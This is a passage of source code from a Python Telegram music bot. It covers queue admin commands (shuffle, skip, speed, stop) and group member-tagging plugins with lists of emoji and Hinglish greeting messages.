message.reply("/shayari 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ..") if chat_id in spam_chats: return await message.reply("𝐏𝐥𝐞𝐚𝐬𝐞 𝐀𝐭 𝐅𝐢𝐫𝐬𝐭 𝐒𝐭𝐨𝐩 𝐑𝐮𝐧𝐧𝐢𝐧𝐠 𝐏𝐫𝐨𝐜𝐞𝐬𝐬 ...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: if mode == "text_on_cmd": txt = f"{usrtxt} {random.choice(SHAYRI)}" await client.send_message(chat_id, txt) elif mode == "text_on_reply": await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})") await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass # @app.on_message(filters.command(["cancelshayari", "shayarioff"])) async def cancel_spam(client, message): if not message.chat.id in spam_chats: return await message.reply("𝐂𝐮𝐫𝐫𝐞𝐧𝐭𝐥𝐲 𝐈'𝐦 𝐍𝐨𝐭 ..") is_admin = False try: participant = await client.get_chat_member(message.chat.id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 𝐓𝐚𝐠 𝐌𝐞𝐦𝐛𝐞𝐫𝐬.") else: try: spam_chats.remove(message.chat.id) except: pass return await message.reply("👣 𝐁𝐑𝐀𝐍𝐃𝐄𝐃 𝐒𝐇𝐀𝐘𝐀𝐑𝐈 𝐏𝐑𝐎𝐂𝐄𝐒𝐒 𝐒𝐓𝐎𝐏𝐏𝐄𝐃 💗") ================================================ FILE: BrandrdXMusic/plugins/admins/shuffle.py ================================================ import random from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.misc import db from BrandrdXMusic.utils.decorators import AdminRightsCheck from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS @app.on_message( filters.command(["shuffle", "cshuffle"]) & filters.group & ~BANNED_USERS ) @AdminRightsCheck async def admins(Client, message: Message, _, chat_id): check = db.get(chat_id) if not check: return await message.reply_text(_["queue_2"]) try: popped = check.pop(0) except: return await message.reply_text(_["admin_15"], reply_markup=close_markup(_)) check = db.get(chat_id) if not check: check.insert(0, popped) return await message.reply_text(_["admin_15"], reply_markup=close_markup(_)) random.shuffle(check) check.insert(0, popped) await message.reply_text( _["admin_16"].format(message.from_user.mention), reply_markup=close_markup(_) ) ================================================ FILE: BrandrdXMusic/plugins/admins/skip.py ================================================ from pyrogram import filters from pyrogram.types import InlineKeyboardMarkup, Message import config from BrandrdXMusic import YouTube, app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import db from BrandrdXMusic.utils.database import get_loop from BrandrdXMusic.utils.decorators import AdminRightsCheck from BrandrdXMusic.utils.inline import close_markup, stream_markup from BrandrdXMusic.utils.stream.autoclear import auto_clean from BrandrdXMusic.utils.thumbnails import get_thumb from config import BANNED_USERS @app.on_message( filters.command(["skip", "cskip", "next", "cnext"]) & filters.group & ~BANNED_USERS ) @AdminRightsCheck async def skip(cli, message: Message, _, chat_id): if not len(message.command) < 2: loop = await get_loop(chat_id) if loop != 0: return await message.reply_text(_["admin_8"]) state = message.text.split(None, 1)[1].strip() if state.isnumeric(): state = int(state) check = db.get(chat_id) if check: count = len(check) if count > 2: count = int(count - 1) if 1 <= state <= count: for x in range(state): popped = None try: popped = check.pop(0) except: return await message.reply_text(_["admin_12"]) if popped: await auto_clean(popped) if not check: try: await message.reply_text( text=_["admin_6"].format( message.from_user.mention, message.chat.title, ), reply_markup=close_markup(_), ) await Hotty.stop_stream(chat_id) except: return break else: return await message.reply_text(_["admin_11"].format(count)) else: return await message.reply_text(_["admin_10"]) else: return await message.reply_text(_["queue_2"]) else: return await message.reply_text(_["admin_9"]) else: check = db.get(chat_id) popped = None try: popped = check.pop(0) if popped: await auto_clean(popped) if not check: await message.reply_text( text=_["admin_6"].format( message.from_user.mention, message.chat.title ), reply_markup=close_markup(_), ) try: return await Hotty.stop_stream(chat_id) except: return except: try: await message.reply_text( text=_["admin_6"].format( message.from_user.mention, message.chat.title ), reply_markup=close_markup(_), ) return await Hotty.stop_stream(chat_id) except: return queued = check[0]["file"] title = (check[0]["title"]).title() user = check[0]["by"] streamtype = check[0]["streamtype"] videoid = check[0]["vidid"] status = True if str(streamtype) == "video" else None db[chat_id][0]["played"] = 0 exis = (check[0]).get("old_dur") if exis: db[chat_id][0]["dur"] = exis db[chat_id][0]["seconds"] = check[0]["old_second"] db[chat_id][0]["speed_path"] = None db[chat_id][0]["speed"] = 1.0 if "live_" in queued: n, link = await YouTube.video(videoid, True) if n == 0: return await message.reply_text(_["admin_7"].format(title)) try: image = await YouTube.thumbnail(videoid, True) except: image = None try: await Hotty.skip_stream(chat_id, link, video=status, image=image) except: return await message.reply_text(_["call_6"]) button = stream_markup2(_, chat_id) img = await get_thumb(videoid) run = await message.reply_photo( photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], check[0]["dur"], user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif "vid_" in queued: mystic = await message.reply_text(_["call_7"], disable_web_page_preview=True) try: file_path, direct = await YouTube.download( videoid, mystic, videoid=True, video=status, ) except: return await mystic.edit_text(_["call_6"]) try: image = await YouTube.thumbnail(videoid, True) except: image = None try: await Hotty.skip_stream(chat_id, file_path, video=status, image=image) except: return await mystic.edit_text(_["call_6"]) button = stream_markup(_, videoid, chat_id) img = await get_thumb(videoid) run = await message.reply_photo( photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], check[0]["dur"], user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" await mystic.delete() elif "index_" in queued: try: await Hotty.skip_stream(chat_id, videoid, video=status) except: return await message.reply_text(_["call_6"]) button = stream_markup2(_, chat_id) run = await message.reply_photo( photo=config.STREAM_IMG_URL, caption=_["stream_2"].format(user), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" else: if videoid == "telegram": image = None elif videoid == "soundcloud": image = None else: try: image = await YouTube.thumbnail(videoid, True) except: image = None try: await Hotty.skip_stream(chat_id, queued, video=status, image=image) except: return await message.reply_text(_["call_6"]) if videoid == "telegram": button = stream_markup2(_, chat_id) run = await message.reply_photo( photo=config.TELEGRAM_AUDIO_URL if str(streamtype) == "audio" else config.TELEGRAM_VIDEO_URL, caption=_["stream_1"].format( config.SUPPORT_CHAT, title[:23], check[0]["dur"], user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif videoid == "soundcloud": button = stream_markup(_, chat_id) run = await message.reply_photo( photo=config.SOUNCLOUD_IMG_URL if str(streamtype) == "audio" else config.TELEGRAM_VIDEO_URL, caption=_["stream_1"].format( config.SUPPORT_CHAT, title[:23], check[0]["dur"], user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" else: button = stream_markup(_, videoid, chat_id) img = await get_thumb(videoid) run = await message.reply_photo( photo=img, caption=_["stream_1"].format( f"https://t.me/{app.username}?start=info_{videoid}", title[:23], check[0]["dur"], user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "stream" ================================================ FILE: BrandrdXMusic/plugins/admins/speed.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import SUDOERS, db from BrandrdXMusic.utils import AdminRightsCheck from BrandrdXMusic.utils.database import is_active_chat, is_nonadmin_chat from BrandrdXMusic.utils.decorators.language import languageCB from BrandrdXMusic.utils.inline import close_markup, speed_markup from config import BANNED_USERS, adminlist checker = [] @app.on_message( filters.command(["cspeed", "speed", "cslow", "slow", "playback", "cplayback"]) & filters.group & ~BANNED_USERS ) @AdminRightsCheck async def playback(cli, message: Message, _, chat_id): playing = db.get(chat_id) if not playing: return await message.reply_text(_["queue_2"]) duration_seconds = int(playing[0]["seconds"]) if duration_seconds == 0: return await message.reply_text(_["admin_27"]) file_path = playing[0]["file"] if "downloads" not in file_path: return await message.reply_text(_["admin_27"]) upl = speed_markup(_, chat_id) return await message.reply_text( text=_["admin_28"].format(app.mention), reply_markup=upl, ) @app.on_callback_query(filters.regex("SpeedUP") & ~BANNED_USERS) @languageCB async def del_back_playlist(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] chat, speed = callback_request.split("|") chat_id = int(chat) if not await is_active_chat(chat_id): return await CallbackQuery.answer(_["general_5"], show_alert=True) is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: if CallbackQuery.from_user.id not in SUDOERS: admins = adminlist.get(CallbackQuery.message.chat.id) if not admins: return await CallbackQuery.answer(_["admin_13"], show_alert=True) else: if CallbackQuery.from_user.id not in admins: return await CallbackQuery.answer(_["admin_14"], show_alert=True) playing = db.get(chat_id) if not playing: return await CallbackQuery.answer(_["queue_2"], show_alert=True) duration_seconds = int(playing[0]["seconds"]) if duration_seconds == 0: return await CallbackQuery.answer(_["admin_27"], show_alert=True) file_path = playing[0]["file"] if "downloads" not in file_path: return await CallbackQuery.answer(_["admin_27"], show_alert=True) checkspeed = (playing[0]).get("speed") if checkspeed: if str(checkspeed) == str(speed): if str(speed) == str("1.0"): return await CallbackQuery.answer( _["admin_29"], show_alert=True, ) else: if str(speed) == str("1.0"): return await CallbackQuery.answer( _["admin_29"], show_alert=True, ) if chat_id in checker: return await CallbackQuery.answer( _["admin_30"], show_alert=True, ) else: checker.append(chat_id) try: await CallbackQuery.answer( _["admin_31"], ) except: pass mystic = await CallbackQuery.edit_message_text( text=_["admin_32"].format(CallbackQuery.from_user.mention), ) try: await Hotty.speedup_stream( chat_id, file_path, speed, playing, ) except: if chat_id in checker: checker.remove(chat_id) return await mystic.edit_text(_["admin_33"], reply_markup=close_markup(_)) if chat_id in checker: checker.remove(chat_id) await mystic.edit_text( text=_["admin_34"].format(speed, CallbackQuery.from_user.mention), reply_markup=close_markup(_), ) ================================================ FILE: BrandrdXMusic/plugins/admins/stop.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.utils.database import set_loop from BrandrdXMusic.utils.decorators import AdminRightsCheck from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS @app.on_message( filters.command(["end", "stop", "cend", "cstop"]) & filters.group & ~BANNED_USERS ) @AdminRightsCheck async def stop_music(cli, message: Message, _, chat_id): if not len(message.command) == 1: return await Hotty.stop_stream(chat_id) await set_loop(chat_id, 0) await message.reply_text( _["admin_5"].format(message.from_user.mention), reply_markup=close_markup(_) ) ================================================ FILE: BrandrdXMusic/plugins/admins/tagall.py ================================================ from BrandrdXMusic import app import asyncio import random from pyrogram import Client, filters from pyrogram.enums import ChatType, ChatMemberStatus from pyrogram.errors import UserNotParticipant from pyrogram.types import ChatPermissions spam_chats = [] EMOJI = [ "🦋🦋🦋🦋🦋", "🧚🌸🧋🍬🫖", "🥀🌷🌹🌺💐", "🌸🌿💮🌱🌵", "❤️💚💙💜🖤", "💓💕💞💗💖", "🌸💐🌺🌹🦋", "🍔🦪🍛🍲🥗", "🍎🍓🍒🍑🌶️", "🧋🥤🧋🥛🍷", "🍬🍭🧁🎂🍡", "🍨🧉🍺☕🍻", "🥪🥧🍦🍥🍚", "🫖☕🍹🍷🥛", "☕🧃🍩🍦🍙", "🍁🌾💮🍂🌿", "🌨️🌥️⛈️🌩️🌧️", "🌷🏵️🌸🌺💐", "💮🌼🌻🍀🍁", "🧟🦸🦹🧙👸", "🧅🍠🥕🌽🥦", "🐷🐹🐭🐨🐻‍❄️", "🦋🐇🐀🐈🐈‍⬛", "🌼🌳🌲🌴🌵", "🥩🍋🍐🍈🍇", "🍴🍽️🔪🍶🥃", "🕌🏰🏩⛩️🏩", "🎉🎊🎈🎂🎀", "🪴🌵🌴🌳🌲", "🎄🎋🎍🎑🎎", "🦅🦜🕊️🦤🦢", "🦤🦩🦚🦃🦆", "🐬🦭🦈🐋🐳", "🐔🐟🐠🐡🦐", "🦩🦀🦑🐙🦪", "🐦🦂🕷️🕸️🐚", "🥪🍰🥧🍨🍨", " 🥬🍉🧁🧇", ] TAGMES = [ " **𝐇𝐞𝐲 𝐁𝐚𝐛𝐲 𝐊𝐚𝐡𝐚 𝐇𝐨🤗🥱** ", " **𝐎𝐲𝐞 𝐒𝐨 𝐆𝐲𝐞 𝐊𝐲𝐚 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚𝐨😊** ", " **𝐕𝐜 𝐂𝐡𝐚𝐥𝐨 𝐁𝐚𝐭𝐞𝐧 𝐊𝐚𝐫𝐭𝐞 𝐇𝐚𝐢𝐧 𝐊𝐮𝐜𝐡 𝐊𝐮𝐜𝐡😃** ", " **𝐊𝐡𝐚𝐧𝐚 𝐊𝐡𝐚 𝐋𝐢𝐲𝐞 𝐉𝐢..??🥲** ", " **𝐆𝐡𝐚𝐫 𝐌𝐞 𝐒𝐚𝐛 𝐊𝐚𝐢𝐬𝐞 𝐇𝐚𝐢𝐧 𝐉𝐢🥺** ", " **𝐏𝐭𝐚 𝐇𝐚𝐢 𝐁𝐨𝐡𝐨𝐭 𝐌𝐢𝐬𝐬 𝐊𝐚𝐫 𝐑𝐡𝐢 𝐓𝐡𝐢 𝐀𝐚𝐩𝐤𝐨🤭** ", " **𝐎𝐲𝐞 𝐇𝐚𝐥 𝐂𝐡𝐚𝐥 𝐊𝐞𝐬𝐚 𝐇𝐚𝐢..??🤨** ", " **𝐌𝐞𝐫𝐢 𝐁𝐡𝐢 𝐒𝐞𝐭𝐭𝐢𝐧𝐠 𝐊𝐚𝐫𝐛𝐚 𝐃𝐨𝐠𝐞..??🙂** ", " **𝐀𝐚𝐩𝐤𝐚 𝐍𝐚𝐦𝐞 𝐊𝐲𝐚 𝐡𝐚𝐢..??🥲** ", " **𝐍𝐚𝐬𝐭𝐚 𝐇𝐮𝐚 𝐀𝐚𝐩𝐤𝐚..??😋** ", " **𝐌𝐞𝐫𝐞 𝐊𝐨 𝐀𝐩𝐧𝐞 𝐆𝐫𝐨𝐮𝐩 𝐌𝐞 𝐊𝐢𝐝𝐧𝐚𝐩 𝐊𝐫 𝐋𝐨😍** ", " **𝐀𝐚𝐩𝐤𝐢 𝐏𝐚𝐫𝐭𝐧𝐞𝐫 𝐀𝐚𝐩𝐤𝐨 𝐃𝐡𝐮𝐧𝐝 𝐑𝐡𝐞 𝐇𝐚𝐢𝐧 𝐉𝐥𝐝𝐢 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐲𝐢𝐚𝐞😅😅** ", " **𝐌𝐞𝐫𝐞 𝐒𝐞 𝐃𝐨𝐬𝐭𝐢 𝐊𝐫𝐨𝐠𝐞..??🤔** ", " **𝐒𝐨𝐧𝐞 𝐂𝐡𝐚𝐥 𝐆𝐲𝐞 𝐊𝐲𝐚🙄🙄** ", " **𝐄𝐤 𝐒𝐨𝐧𝐠 𝐏𝐥𝐚𝐲 𝐊𝐫𝐨 𝐍𝐚 𝐏𝐥𝐬𝐬😕** ", " **𝐀𝐚𝐩 𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨..??🙃** ", " **𝐇𝐞𝐥𝐥𝐨 𝐉𝐢 𝐍𝐚𝐦𝐚𝐬𝐭𝐞😛** ", " **𝐇𝐞𝐥𝐥𝐨 𝐁𝐚𝐛𝐲 𝐊𝐤𝐫𝐡..?🤔** ", " **𝐃𝐨 𝐘𝐨𝐮 𝐊𝐧𝐨𝐰 𝐖𝐡𝐨 𝐈𝐬 𝐌𝐲 𝐎𝐰𝐧𝐞𝐫 [@BRANDEDKING82].?** ", " **𝐂𝐡𝐥𝐨 𝐊𝐮𝐜𝐡 𝐆𝐚𝐦𝐞 𝐊𝐡𝐞𝐥𝐭𝐞 𝐇𝐚𝐢𝐧.🤗** ", " **𝐀𝐮𝐫 𝐁𝐚𝐭𝐚𝐨 𝐊𝐚𝐢𝐬𝐞 𝐇𝐨 𝐁𝐚𝐛𝐲😇** ", " **𝐓𝐮𝐦𝐡𝐚𝐫𝐢 𝐌𝐮𝐦𝐦𝐲 𝐊𝐲𝐚 𝐊𝐚𝐫 𝐑𝐚𝐡𝐢 𝐇𝐚𝐢🤭** ", " **𝐌𝐞𝐫𝐞 𝐒𝐞 𝐁𝐚𝐭 𝐍𝐨𝐢 𝐊𝐫𝐨𝐠𝐞🥺🥺** ", " **𝐎𝐲𝐞 𝐏𝐚𝐠𝐚𝐥 𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚 𝐉𝐚😶** ", " **𝐀𝐚𝐣 𝐇𝐨𝐥𝐢𝐝𝐚𝐲 𝐇𝐚𝐢 𝐊𝐲𝐚 𝐒𝐜𝐡𝐨𝐨𝐥 𝐌𝐞..??🤔** ", " **𝐎𝐲𝐞 𝐆𝐨𝐨𝐝 𝐌𝐨𝐫𝐧𝐢𝐧𝐠😜** ", " **𝐒𝐮𝐧𝐨 𝐄𝐤 𝐊𝐚𝐦 𝐇𝐚𝐢 𝐓𝐮𝐦𝐬𝐞🙂** ", " **𝐊𝐨𝐢 𝐒𝐨𝐧𝐠 𝐏𝐥𝐚𝐲 𝐊𝐫𝐨 𝐍𝐚😪** ", " **𝐍𝐢𝐜𝐞 𝐓𝐨 𝐌𝐞𝐞𝐭 𝐔𝐡☺** ", " **𝐇𝐞𝐥𝐥𝐨🙊** ", " **𝐒𝐭𝐮𝐝𝐲 𝐂𝐨𝐦𝐥𝐞𝐭𝐞 𝐇𝐮𝐚??😺** ", " **𝐁𝐨𝐥𝐨 𝐍𝐚 𝐊𝐮𝐜𝐡 𝐘𝐫𝐫🥲** ", " **𝐒𝐨𝐧𝐚𝐥𝐢 𝐊𝐨𝐧 𝐇𝐚𝐢...??😅** ", " **𝐓𝐮𝐦𝐡𝐚𝐫𝐢 𝐄𝐤 𝐏𝐢𝐜 𝐌𝐢𝐥𝐞𝐠𝐢..?😅** ", " **𝐌𝐮𝐦𝐦𝐲 𝐀𝐚 𝐆𝐲𝐢 𝐊𝐲𝐚😆😆😆** ", " **𝐎𝐫 𝐁𝐚𝐭𝐚𝐨 𝐁𝐡𝐚𝐛𝐡𝐢 𝐊𝐚𝐢𝐬𝐢 𝐇𝐚𝐢😉** ", " **𝐈 𝐋𝐨𝐯𝐞 𝐘𝐨𝐮🙈🙈🙈** ", " **𝐃𝐨 𝐘𝐨𝐮 𝐋𝐨𝐯𝐞 𝐌𝐞..?👀** ", " **𝐑𝐚𝐤𝐡𝐢 𝐊𝐚𝐛 𝐁𝐚𝐧𝐝 𝐑𝐚𝐡𝐢 𝐇𝐨.??🙉** ", " **𝐄𝐤 𝐒𝐨𝐧𝐠 𝐒𝐮𝐧𝐚𝐮..?😹** ", " **𝐎𝐧𝐥𝐢𝐧𝐞 𝐀𝐚 𝐉𝐚 𝐑𝐞 𝐒𝐨𝐧𝐠 𝐒𝐮𝐧𝐚 𝐑𝐚𝐡𝐢 𝐇𝐮😻** ", " **𝐈𝐧𝐬𝐭𝐚𝐠𝐫𝐚𝐦 𝐂𝐡𝐚𝐥𝐚𝐭𝐞 𝐇𝐨..??🙃** ", " **𝐖𝐡𝐚𝐭𝐬𝐚𝐩𝐩 𝐍𝐮𝐦𝐛𝐞𝐫 𝐃𝐨𝐠𝐞 𝐀𝐩𝐧𝐚 𝐓𝐮𝐦..?😕** ", " **𝐓𝐮𝐦𝐡𝐞 𝐊𝐨𝐧 𝐒𝐚 𝐌𝐮𝐬𝐢𝐜 𝐒𝐮𝐧𝐧𝐚 𝐏𝐚𝐬𝐚𝐧𝐝 𝐇𝐚𝐢..?🙃** ", " **𝐒𝐚𝐫𝐚 𝐊𝐚𝐦 𝐊𝐡𝐚𝐭𝐚𝐦 𝐇𝐨 𝐆𝐲𝐚 𝐀𝐚𝐩𝐤𝐚..?🙃** ", " **𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨 𝐀𝐚𝐩😊** ", " **𝐒𝐮𝐧𝐨 𝐍𝐚 [@BRANDRD_BOT]🧐** ", " **𝐌𝐞𝐫𝐚 𝐄𝐤 𝐊𝐚𝐚𝐦 𝐊𝐚𝐫 𝐃𝐨𝐠𝐞..?** ", " **𝐁𝐲 𝐓𝐚𝐭𝐚 𝐌𝐚𝐭 𝐁𝐚𝐭 𝐊𝐚𝐫𝐧𝐚 𝐀𝐚𝐣 𝐊𝐞 𝐁𝐚𝐝😠** ", " **𝐌𝐨𝐦 𝐃𝐚𝐝 𝐊𝐚𝐢𝐬𝐞 𝐇𝐚𝐢𝐧..?❤** ", " **𝐊𝐲𝐚 𝐇𝐮𝐚..?👱** ", " **𝐁𝐨𝐡𝐨𝐭 𝐘𝐚𝐚𝐝 𝐀𝐚 𝐑𝐡𝐢 𝐇𝐚𝐢 🤧❣️** ", " **𝐁𝐡𝐮𝐥 𝐆𝐲𝐞 𝐌𝐮𝐣𝐡𝐞😏😏** ", " **𝐉𝐮𝐭𝐡 𝐍𝐡𝐢 𝐁𝐨𝐥𝐧𝐚 𝐂𝐡𝐚𝐡𝐢𝐲𝐞🤐** ", " **𝐊𝐡𝐚 𝐋𝐨 𝐁𝐡𝐚𝐰 𝐌𝐚𝐭 𝐊𝐫𝐨 𝐁𝐚𝐚𝐭😒** ", " **𝐊𝐲𝐚 𝐇𝐮𝐚😮😮** " " **𝐇𝐢𝐢👀** ", " **𝐀𝐚𝐩𝐤𝐞 𝐉𝐚𝐢𝐬𝐚 𝐃𝐨𝐬𝐭 𝐇𝐨 𝐒𝐚𝐭𝐡 𝐌𝐞 𝐅𝐢𝐫 𝐆𝐮𝐦 𝐊𝐢𝐬 𝐁𝐚𝐭 𝐊𝐚 🙈** ", " **𝐀𝐚𝐣 𝐌𝐚𝐢 𝐒𝐚𝐝 𝐇𝐮 ☹️** ", " **𝐌𝐮𝐬𝐣𝐡𝐬𝐞 𝐁𝐡𝐢 𝐁𝐚𝐭 𝐊𝐚𝐫 𝐋𝐨 𝐍𝐚 🥺🥺** ", " **𝐊𝐲𝐚 𝐊𝐚𝐫 𝐑𝐚𝐡𝐞 𝐇𝐨👀** ", " **𝐊𝐲𝐚 𝐇𝐚𝐥 𝐂𝐡𝐚𝐥 𝐇𝐚𝐢 🙂** ", " **𝐊𝐚𝐡𝐚 𝐒𝐞 𝐇𝐨 𝐀𝐚𝐩..?🤔** ", " **𝐂𝐡𝐚𝐭𝐭𝐢𝐧𝐠 𝐊𝐚𝐫 𝐋𝐨 𝐍𝐚..🥺** ", " **𝐌𝐞 𝐌𝐚𝐬𝐨𝐨𝐦 𝐇𝐮 𝐍𝐚🥺🥺** ", " **𝐊𝐚𝐥 𝐌𝐚𝐣𝐚 𝐀𝐲𝐚 𝐓𝐡𝐚 𝐍𝐚🤭😅** ", " **𝐆𝐫𝐨𝐮𝐩 𝐌𝐞 𝐁𝐚𝐭 𝐊𝐲𝐮 𝐍𝐚𝐡𝐢 𝐊𝐚𝐫𝐭𝐞 𝐇𝐨😕** ", " **𝐀𝐚𝐩 𝐑𝐞𝐥𝐚𝐭𝐢𝐨𝐦𝐬𝐡𝐢𝐩 𝐌𝐞 𝐇𝐨..?👀** ", " **𝐊𝐢𝐭𝐧𝐚 𝐂𝐡𝐮𝐩 𝐑𝐚𝐡𝐭𝐞 𝐇𝐨 𝐘𝐫𝐫😼** ", " **𝐀𝐚𝐩𝐤𝐨 𝐆𝐚𝐧𝐚 𝐆𝐚𝐧𝐞 𝐀𝐚𝐭𝐚 𝐇𝐚𝐢..?😸** ", " **𝐆𝐡𝐮𝐦𝐧𝐞 𝐂𝐡𝐚𝐥𝐨𝐠𝐞..??🙈** ", " **𝐊𝐡𝐮𝐬 𝐑𝐚𝐡𝐚 𝐊𝐚𝐫𝐨 ✌️🤞** ", " **𝐇𝐚𝐦 𝐃𝐨𝐬𝐭 𝐁𝐚𝐧 𝐒𝐚𝐤𝐭𝐞 𝐇𝐚𝐢...?🥰** ", " **𝐊𝐮𝐜𝐡 𝐁𝐨𝐥 𝐊𝐲𝐮 𝐍𝐡𝐢 𝐑𝐚𝐡𝐞 𝐇𝐨..🥺🥺** ", " **𝐊𝐮𝐜𝐡 𝐌𝐞𝐦𝐛𝐞𝐫𝐬 𝐀𝐝𝐝 𝐊𝐚𝐫 𝐃𝐨 🥲** ", " **𝐒𝐢𝐧𝐠𝐥𝐞 𝐇𝐨 𝐘𝐚 𝐌𝐢𝐧𝐠𝐥𝐞 😉** ", " **𝐀𝐚𝐨 𝐏𝐚𝐫𝐭𝐲 𝐊𝐚𝐫𝐭𝐞 𝐇𝐚𝐢𝐧😋🥳** ", " **𝐇𝐞𝐦𝐥𝐨𝐨🧐** ", " **𝐌𝐮𝐣𝐡𝐞 𝐁𝐡𝐮𝐥 𝐆𝐲𝐞 𝐊𝐲𝐚🥺** ", " **𝐘𝐚𝐡𝐚 𝐀𝐚 𝐉𝐚𝐨:-[@BRANDED_WORLD] 𝐌𝐚𝐬𝐭𝐢 𝐊𝐚𝐫𝐞𝐧𝐠𝐞 🤭🤭** ", " **𝐓𝐫𝐮𝐭𝐡 𝐀𝐧𝐝 𝐃𝐚𝐫𝐞 𝐊𝐡𝐞𝐥𝐨𝐠𝐞..? 😊** ", " **𝐀𝐚𝐣 𝐌𝐮𝐦𝐦𝐲 𝐍𝐞 𝐃𝐚𝐭𝐚 𝐘𝐫🥺🥺** ", " **𝐉𝐨𝐢𝐧 𝐊𝐚𝐫 𝐋𝐨🤗** ", " **𝐄𝐤 𝐃𝐢𝐥 𝐇𝐚𝐢 𝐄𝐤 𝐃𝐢𝐥 𝐇𝐢 𝐓𝐨 𝐇𝐚𝐢😗😗** ", " **𝐓𝐮𝐦𝐡𝐚𝐫𝐞 𝐃𝐨𝐬𝐭 𝐊𝐚𝐡𝐚 𝐆𝐲𝐞🥺** ", " **𝐌𝐲 𝐂𝐮𝐭𝐞 𝐎𝐰𝐧𝐞𝐫{ @BRANDED_PAID_CC}🥰** ", " **𝐊𝐚𝐡𝐚 𝐊𝐡𝐨𝐲𝐞 𝐇𝐨 𝐉𝐚𝐚𝐧😜** ", " **𝐆𝐨𝐨𝐝 𝐍8 𝐉𝐢 𝐁𝐡𝐮𝐭 𝐑𝐚𝐭 𝐇𝐨 𝐠𝐲𝐢🥰** ", ] VC_TAG = [ "**𝐎𝚈𝙴 𝐕𝙲 𝐀𝙰𝙾 𝐍𝙰 𝐏𝙻𝚂🥲**", "**𝐉𝙾𝙸𝙽 𝐕𝙲 𝐅𝙰𝚂𝚃 𝐈𝚃𝚂 𝐈𝙼𝙰𝙿𝙾𝚁𝚃𝙰𝙽𝚃😬**", "**𝐂𝙾𝙼𝙴 𝚅𝙲 𝙱𝙰𝙱𝚈 𝙵𝙰𝚂𝚃🏓**", "**𝐁𝙰𝙱𝚈 𝐓𝚄𝙼 𝐁𝙷𝙸 𝐓𝙷𝙾𝚁𝙰 𝐕𝙲 𝐀𝙰𝙽𝙰🥰**", "**𝐎𝚈𝙴 𝐂𝙷𝙰𝙼𝚃𝚄 𝐕𝙲 𝐀𝙰 𝐄𝙺 𝐄𝙰𝙼 𝐇𝙰𝙸🤨**", "**𝐒𝚄𝙽𝙾 𝐕𝙲 𝐉𝙾𝙸𝙽 𝐊𝚁 𝐋𝙾🤣**", "**𝐕𝙲 𝐀𝙰 𝐉𝙰𝙸𝚈𝙴 𝐄𝙺 𝐁𝙰𝚁😁**", "**𝐕𝙲 𝐓𝙰𝙿𝙺𝙾 𝐆𝙰𝙼𝙴 𝐂𝙷𝙰𝙻𝚄 𝐇𝙰𝙸⚽**", "**𝐕𝙲 𝐀𝙰𝙾 𝐁𝙰𝚁𝙽𝙰 𝐁𝙰𝙽 𝐇𝙾 𝐉𝙰𝙾𝙶𝙴🥺**", "**𝐒𝙾𝚁𝚁𝚈 𝐕𝙰𝙱𝚈 𝐏𝙻𝚂 𝐕𝙲 𝐀𝙰 𝐉𝙰𝙾 𝐍𝙰😥**", "**𝐕𝙲 𝐀𝙰𝙽𝙰 𝐄𝙺 𝐂𝙷𝙸𝙹 𝐃𝙸𝙺𝙷𝙰𝚃𝙸 𝐇𝚄🙄**", "**𝐕𝙲 𝐌𝙴 𝐂𝙷𝙴𝙲𝙺 𝐊𝚁𝙺𝙴 𝐁𝙰𝚃𝙰𝙾 𝐓𝙾 𝐒𝙾𝙽𝙶 𝐏𝙻𝙰𝚈 𝐇𝙾 𝐑𝙷𝙰 𝐇?🤔**", "**𝐕𝙲 𝐉𝙾𝙸𝙽 𝐊𝚁𝙽𝙴 𝐌𝙴 𝐊𝚈𝙰 𝐉𝙰𝚃𝙰 𝐇 